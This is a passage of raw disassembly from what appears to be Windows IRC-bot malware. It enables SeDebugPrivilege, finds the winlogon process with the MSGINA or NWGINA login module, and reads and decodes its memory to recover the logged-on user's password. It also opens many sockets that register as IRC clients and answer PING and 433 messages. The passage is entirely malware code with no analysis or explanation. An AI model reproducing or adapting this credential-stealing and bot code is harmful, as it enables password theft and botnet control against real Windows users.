		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_4175D3:				; CODE XREF: sub_417474+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419E0C
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	dword_42813C	; FreeLibrary
		pop	ebx
		jmp	short loc_417600
; ---------------------------------------------------------------------------


loc_4175ED:				; CODE XREF: sub_417474+4Ej
		push	offset unk_43A5F4


loc_4175F2:				; CODE XREF: sub_417474+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx


loc_417600:				; CODE XREF: sub_417474+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417627
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409982
		add	esp, 14h


loc_417627:				; CODE XREF: sub_417474+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4157A5
		push	[ebp+var_18]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_417474	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417646	proc near		; CODE XREF: sub_417474+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_42814C
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_428148
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D6BA4	; ZwQuerySystemInformation
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428144	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D6BA4	; ZwQuerySystemInformation
		test	eax, eax
		jnz	short loc_417733
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417733
		xor	ecx, ecx
		mov	ebx, ebp
		inc	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417733


loc_4176CF:				; CODE XREF: sub_417646+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417726
		push	0
		push	0
		call	dword_4D6B98	; RtlCreateQueryDebugBuffer
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D6DA8	; RtlQueryProcessDebugInformation
		test	eax, eax
		jnz	short loc_417717
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DDAA
		pop	ecx
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41774B


loc_417717:				; CODE XREF: sub_417646+AAj
		test	edi, edi
		jz	short loc_417722
		push	edi
		call	dword_4D6BA0	; RtlDestroyQueryDebugBuffer


loc_417722:				; CODE XREF: sub_417646+D3j
		mov	eax, [esp+28h+var_10]


loc_417726:				; CODE XREF: sub_417646+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_4176CF


loc_417733:				; CODE XREF: sub_417646+6Dj
					; sub_417646+7Aj ...
		xor	edi, edi


loc_417735:				; CODE XREF: sub_417646+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428144	; RtlFreeHeap
		mov	eax, edi


loc_417743:				; CODE XREF: sub_417646+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_41774B:				; CODE XREF: sub_417646+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_4177B4
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417761:				; CODE XREF: sub_417646+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DDAA
		pop	ecx
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4177C8
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DDAA
		pop	ecx
		push	eax
		call	sub_41C0D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4177A6
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4177A6:				; CODE XREF: sub_417646+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417761


loc_4177B4:				; CODE XREF: sub_417646+10Fj
		test	edi, edi
		jz	short loc_4177BF
		push	edi
		call	dword_4D6BA0	; RtlDestroyQueryDebugBuffer


loc_4177BF:				; CODE XREF: sub_417646+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417735
; ---------------------------------------------------------------------------


loc_4177C8:				; CODE XREF: sub_417646+13Cj
		xor	eax, eax
		jmp	loc_417743
sub_417646	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_417474+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	dword_428084	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4177F8
		xor	eax, eax
		jmp	loc_417970
; ---------------------------------------------------------------------------


loc_4177F8:				; CODE XREF: sub_4177CF+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_428158	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_42814C
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_428148
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_428154
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_417848
		xor	esi, esi
		jmp	loc_417963
; ---------------------------------------------------------------------------


loc_417848:				; CODE XREF: sub_4177CF+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	dword_428150	; VirtualQueryEx
		test	eax, eax
		jz	loc_417952
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_417952
		test	[ebp+var_2B], 1
		jnz	loc_417952
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_417952


loc_4178AB:				; CODE XREF: sub_4177CF+110j
		push	edi
		push	offset dword_4D5B98
		call	sub_427002
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178D3
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D6398
		call	sub_427002
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178E3


loc_4178D3:				; CODE XREF: sub_4177CF+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jb	short loc_4178AB
		jmp	short loc_417952
; ---------------------------------------------------------------------------


loc_4178E3:				; CODE XREF: sub_4177CF+102j
		test	edi, edi
		jz	short loc_417952
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	dword_428118	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_41791E
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_428114	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_41791E
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41791E:				; CODE XREF: sub_4177CF+12Bj
					; sub_4177CF+13Dj
		movzx	eax, byte ptr [edi+42Dh]
		mov	dword_4D6DB8, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D6DB0, eax
		mov	dword_4D6DB4, edi


loc_417952:				; CODE XREF: sub_4177CF+90j
					; sub_4177CF+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428144	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_417963:				; CODE XREF: sub_4177CF+74j
		push	[ebp+var_4]
		call	dword_42806C	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417970:				; CODE XREF: sub_4177CF+24j
		pop	esi
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417973	proc near		; CODE XREF: sub_417474:loc_41756Cp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	[ebp+arg_0]
		push	0
		push	410h
		call	dword_428084	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_417992
		leave
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417973+1Bj
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	dword_428158	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417A5A
		mov	edi, dword_42814C


loc_4179BC:				; CODE XREF: sub_417973+E1j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_428150	; VirtualQueryEx
		test	eax, eax
		jz	short loc_417A48
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_417A4E
		test	[ebp+var_13], 1
		jnz	short loc_417A4E
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	dword_428148	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	dword_428154	; ReadProcessMemory
		test	eax, eax
		jz	short loc_417A3A
		push	offset dword_4D5B98
		push	esi
		call	sub_427002
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417A3A
		lea	eax, [esi+400h]
		push	offset dword_4D6398
		push	eax
		call	sub_427002
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417A6C


loc_417A3A:				; CODE XREF: sub_417973+9Dj
					; sub_417973+AEj
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	dword_428144	; RtlFreeHeap
		jmp	short loc_417A4E
; ---------------------------------------------------------------------------


loc_417A48:				; CODE XREF: sub_417973+5Bj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_417A4E:				; CODE XREF: sub_417973+6Fj
					; sub_417973+75j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_4179BC


loc_417A5A:				; CODE XREF: sub_417973+3Dj
		xor	esi, esi


loc_417A5C:				; CODE XREF: sub_417973+12Bj
		push	[ebp+arg_0]
		call	dword_42806C	; CloseHandle
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417A6C:				; CODE XREF: sub_417973+C5j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D6DB0, ebx
		mov	dword_4D6DB4, eax
		cmp	[eax], cl
		jnz	short loc_417A8E
		cmp	[eax+1], cl
		jz	short loc_417A96


loc_417A8E:				; CODE XREF: sub_417973+114j
					; sub_417973+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417A8E


loc_417A96:				; CODE XREF: sub_417973+119j
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		inc	esi
		mov	[eax], ecx
		jmp	short loc_417A5C
sub_417973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA0	proc near		; CODE XREF: sub_417474+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D6DAC
		push	esi
		mov	esi, dword_42814C
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428148	; RtlAllocateHeap
		mov	ecx, dword_4D6DAC
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D6DB4
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D6DB8
		push	eax
		call	dword_4D6B9C	; RtlRunDecodeUnicodeString
		push	[ebp+var_4]
		mov	edi, offset dword_4D6BA8
		push	offset dword_4D5B98
		push	offset dword_4D6398
		push	[ebp+arg_0]
		push	offset dword_43A818
		push	200h
		push	edi
		call	sub_41C150
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_428144	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B37	proc near		; CODE XREF: sub_417474:loc_4175B0p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D6DAC
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	dword_42814C	; GetProcessHeap
		push	eax
		call	dword_428148	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D6398
		mov	edi, 200h
		mov	esi, offset dword_4D5998


loc_417B7D:				; CODE XREF: sub_417B37+FAj
		mov	eax, dword_4D6DAC
		add	eax, eax
		push	eax
		push	dword_4D6DB4
		push	[ebp+var_14]
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D6B9C	; RtlRunDecodeUnicodeString
		mov	eax, dword_4D6DAC
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417BF2


loc_417BBA:				; CODE XREF: sub_417B37+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417C0F
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417BDE
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417BDE
		cmp	dl, 20h
		jnb	short loc_417BD8
		and	[ebp+var_8], 0


loc_417BD8:				; CODE XREF: sub_417B37+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417BE2


loc_417BDE:				; CODE XREF: sub_417B37+90j
					; sub_417B37+96j
		and	[ebp+var_8], 0


loc_417BE2:				; CODE XREF: sub_417B37+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417BBA
		cmp	[ebp+var_8], 0
		jz	short loc_417C0F


loc_417BF2:				; CODE XREF: sub_417B37+81j
		push	[ebp+var_14]
		push	offset dword_4D5B98
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43A818
		push	edi
		push	esi
		call	sub_41C150
		add	esp, 1Ch
		jmp	short loc_417C27
; ---------------------------------------------------------------------------


loc_417C0F:				; CODE XREF: sub_417B37+87j
					; sub_417B37+B9j
		push	offset dword_4D5B98
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43A868
		push	edi
		push	esi
		call	sub_41C150
		add	esp, 18h


loc_417C27:				; CODE XREF: sub_417B37+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417B7D
		push	[ebp+var_14]
		push	0
		call	dword_42814C	; GetProcessHeap
		push	eax
		call	dword_428144	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C50	proc near		; CODE XREF: sub_4161D7+33p
					; sub_41673A+BCp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CDCE4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_417CCC
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CDC64	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CDCA4	; inet_addr
		cmp	eax, esi
		jnz	short loc_417CB1
		push	[ebp+arg_0]
		call	dword_4CDCE8	; gethostbyname
		test	eax, eax
		jz	short loc_417CCC
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417CB1:				; CODE XREF: sub_417C50+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CDC0C	; connect
		cmp	eax, esi
		jnz	short loc_417CD0
		push	edi
		call	dword_4CDCFC	; closesocket


loc_417CCC:				; CODE XREF: sub_417C50+1Bj
					; sub_417C50+58j
		mov	eax, esi
		jmp	short loc_417CD2
; ---------------------------------------------------------------------------


loc_417CD0:				; CODE XREF: sub_417C50+73j
		mov	eax, edi


loc_417CD2:				; CODE XREF: sub_417C50+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417C50	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CD6	proc near		; CODE XREF: sub_401B66+325Ap
					; sub_401B66+32C3p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42B120 ; "\n"
		push	edi
		call	sub_41C690
		pop	ecx
		mov	esi, offset dword_4D6DC4
		pop	ecx


loc_417CEE:				; CODE XREF: sub_417CD6+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417D0C
		cmp	dword ptr [esi], 0
		jbe	short loc_417D0C
		push	0
		push	edi
		call	sub_41B7B0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CDCB4	; send


loc_417D0C:				; CODE XREF: sub_417CD6+1Cj
					; sub_417CD6+21j
		add	esi, 210h
		cmp	esi, offset dword_4DD4E4
		jl	short loc_417CEE
		pop	edi
		pop	esi
		retn
sub_417CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D1D	proc near		; CODE XREF: sub_417E12+14Fp

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42E0C8 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C8C4
		xor	edi, edi
		pop	ecx
		inc	edi
		pop	ecx
		mov	[ebp+var_20], eax
		xor	ebx, ebx


loc_417D41:				; CODE XREF: sub_417D1D+35j
		push	esi
		push	ebx
		call	sub_41C8C4
		mov	[ebp+edi*4+var_20], eax
		inc	edi
		pop	ecx
		cmp	edi, 8
		pop	ecx
		jl	short loc_417D41
		cmp	[ebp+var_20], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_417D68
		cmp	esi, ebx
		jnz	short loc_417D68
		xor	eax, eax
		inc	eax
		jmp	loc_417E0D
; ---------------------------------------------------------------------------


loc_417D68:				; CODE XREF: sub_417D1D+3Dj
					; sub_417D1D+41j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C840
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417D92
		lea	eax, [ebp+var_220]
		push	offset dword_43B480
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	short loc_417DEC
; ---------------------------------------------------------------------------


loc_417D92:				; CODE XREF: sub_417D1D+5Dj
		push	offset a433	; "433"
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417DB3
		push	esi
		push	offset dword_43B47C
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417E0B


loc_417DB3:				; CODE XREF: sub_417D1D+83j
		push	200h
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		call	sub_41BD60
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset dword_43B470
		push	eax
		call	sub_41C056
		add	esp, 1Ch


loc_417DEC:				; CODE XREF: sub_417D1D+73j
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send


loc_417E0B:				; CODE XREF: sub_417D1D+94j
		xor	eax, eax


loc_417E0D:				; CODE XREF: sub_417D1D+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E12	proc near		; DATA XREF: sub_417FB1+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C2F0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		xor	edi, edi
		push	dword_4D6FCC[esi]
		lea	eax, dword_4D6DCC[esi]
		inc	edi
		push	eax
		mov	dword_4D6DC0[esi], edi
		call	sub_417C50
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D6DC4[esi], eax
		jb	loc_417F91
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BD60
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_41802F
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C056
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D6DC4[esi]
		call	dword_4CDCB4	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch


loc_417EEB:				; CODE XREF: sub_417E12+17Aj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D6DC4[esi]
		call	dword_4CDC7C	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417F91
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		jmp	short loc_417F87
; ---------------------------------------------------------------------------


loc_417F1F:				; CODE XREF: sub_417E12+178j
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417F46
		cmp	al, 0Ah
		jz	short loc_417F46
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417F46
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417F80
; ---------------------------------------------------------------------------


loc_417F46:				; CODE XREF: sub_417E12+116j
					; sub_417E12+11Aj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417F80
		push	dword_4D6DC4[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417D1D
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417F91
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417F80:				; CODE XREF: sub_417E12+132j
					; sub_417E12+139j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]


loc_417F87:				; CODE XREF: sub_417E12+10Bj
		mov	[ebp+var_4], eax
		jnz	short loc_417F1F
		jmp	loc_417EEB
; ---------------------------------------------------------------------------


loc_417F91:				; CODE XREF: sub_417E12+40j
					; sub_417E12+104j ...
		mov	dword_4D6DC0[esi], ebx
		mov	esi, dword_4D6DC4[esi]
		cmp	esi, ebx
		jbe	short loc_417FA8
		push	esi
		call	dword_4CDCFC	; closesocket


loc_417FA8:				; CODE XREF: sub_417E12+18Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417E12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FB1	proc near		; CODE XREF: sub_401B66+31ADp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_41802A


loc_417FC3:				; CODE XREF: sub_417FB1+77j
		xor	edi, edi
		mov	eax, offset dword_4D6DC0


loc_417FCA:				; CODE XREF: sub_417FB1+28j
		cmp	[eax], ebx
		jz	short loc_417FDB
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DD4E0
		jl	short loc_417FCA


loc_417FDB:				; CODE XREF: sub_417FB1+1Bj
		cmp	edi, 31h
		jz	short loc_41802A
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D6DCC[esi]
		push	eax
		call	sub_41C680
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D6FCC[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D6DC0[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417E12
